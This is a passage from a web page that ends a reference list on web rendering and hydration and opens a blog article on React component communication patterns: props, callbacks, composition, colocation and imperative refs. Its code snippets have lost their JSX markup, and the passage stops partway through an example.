replaying it - [Islands Architecture](https://docs.astro.build/en/concepts/islands/) - Astro docs, on client and server islands - [Client Directives](https://docs.astro.build/en/reference/directives-reference/) - Astro docs, on the `client:*` loading contracts - [Resumability vs Hydration](https://www.builder.io/blog/resumability-vs-hydration) - Builder.io, comparing React, Solid, and Qwik on the spectrum - [New Suspense SSR Architecture in React 18](https://github.com/reactwg/react-18/discussions/37) - React working group, on streaming and selective hydration - [How Wix Solved React's Hydration Problem](https://www.wix.engineering/post/40-faster-interaction-how-wix-solved-react-s-hydration-problem-with-selective-hydration-and-suspen) - Wix Engineering, a production selective-hydration case - [Server Components](https://react.dev/reference/rsc/server-components) - React docs - [React Server Components Your Way](https://tanstack.com/blog/react-server-components) - TanStack blog, on the client-first, RSCs-as-streams model - [How to choose the best rendering strategy](https://vercel.com/blog/how-to-choose-the-best-rendering-strategy-for-your-app) - Vercel, on SSG, ISR, SSR, CSR, and per-route mixing - [Ripple](https://github.com/Ripple-TS/ripple) - the newest fine-grained, compiler-driven TypeScript framework - [State of JavaScript 2025: Meta-Frameworks](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/) - satisfaction rankings for Astro, Next.js, and others --- ## Component Communication Patterns in React Applications URL: https://neciudan.dev/component-communication-patterns-in-react Published: 2026-06-20 Communication is the cornerstone of civilization. And just like humans need to communicate, so do our components. Now there are many books on Architecture and Design Patterns for communicating between modules (if you are interested, the list is at the bottom), but we dont have anything similar for Frontend, especially React. The problem is that React gives you a lot of different ways to make two components share something, and which one is right almost always comes down to two things people rarely stop to think about: - How far apart the two components actually are. - What kind of value is moving between them. A theme that the whole app reads is a completely different problem from a filter that two sibling components share, which is different again from a user record that really lives on the server. This article will walk through the options, starting with the closest distance between components. ## Props and callbacks The simplest situation is this. You have a parent component that renders a child, and both need to agree on a single value. They're sitting right next to each other in the tree, so there's almost no distance to cover, and React already gives you everything you need to cover it. Data flows down as props from parent to child, and up as callbacks—no need for fancier solutions when components are close. Here's that shape in practice, with a filter that a parent owns and two children care about: ```tsx function FilterBar({ filter, onFilterChange }) { return ( ); } function TodoPage() { const [filter, setFilter] = useState('all'); return ( <> ); } ``` TodoPage holds the filter, FilterBar reads and updates it, and TodoList uses it for display. The state should live at the lowest point where both children have access, which is the shared parent. "Lifting state up" is the go-to approach when siblings need to share a value. The problems start when that value has to travel through components that have no interest in it whatsoever, just to reach the one that does. Something like this: ```tsx function Page({ user }) { return ; } function Layout({ user }) { return ; } function Sidebar({ user }) { return ; } ``` Layout and Sidebar don't use user; they're just passing it down to Avatar. This is called prop drilling and is a common reason to consider a different communication pattern. But before reaching for other tools, remember that a three-level prop drill can often be solved with **composition**. Instead of passing data down, pass the rendered element as children so the data doesn't need to move through uninterested components. ``` function Page({ user }) { return ( ); } ``` Now the user goes directly to where it's needed, skipping Layout and Sidebar. ## Colocation Before connecting components, check whether they really need to communicate. Sometimes the state is moved up "just in case" another child might need it, but if that sibling never appears, the state ends up being shared for no reason. Here's the kind of thing I mean: ```tsx function Dashboard() { const [searchTerm, setSearchTerm] = useState(''); const [isMenuOpen, setIsMenuOpen] = useState(false); return ( <> ); } ``` searchTerm belongs in the Dashboard because both children use it. isMenuOpen, though, is only used by Menu but still lives in the parent. This means Dashboard and its children re-render unnecessarily when isMenuOpen changes. The fix is to send that state back down to where it's actually used: ```tsx function Menu() { const [isOpen, setIsOpen] = useState(false); return ; } ``` Colocation means moving the component as close as possible to the component that uses it, never higher than needed. This applies both within a component and across the tree; use the smallest scope necessary. Colocating the state improves performance, too. State updates re-render the component and its children; if the state is too high, unnecessary re-renders happen. So before you reach for any of the tools in the rest of this article, do the cheaper thing first and confirm the two components really do need to share something. In my experience, a good chunk of the "shared state" I've deleted over the years was never shared by anything. ## Imperative calls Sometimes a parent doesn't want to share any state with a child whatsoever. What it wants is to reach in and *tell that child to do something*. Play this video. Focus this input. Scroll to this particular row. Open this dialog. The tool for that is a `ref` paired with `useImperativeHandle`. The child decides on a small, deliberate set of methods to expose, and the parent gets to call them directly. In React 19, `ref` is finally just a regular prop, so the child can read it straight out of its props like anything else: ```tsx function VideoPlayer({ src, ref }) { const videoRef = useRef(null); useImperativeHandle(ref, () => ({ play: () => videoRef.current.play(), pause: () => videoRef.current.pause(), })); return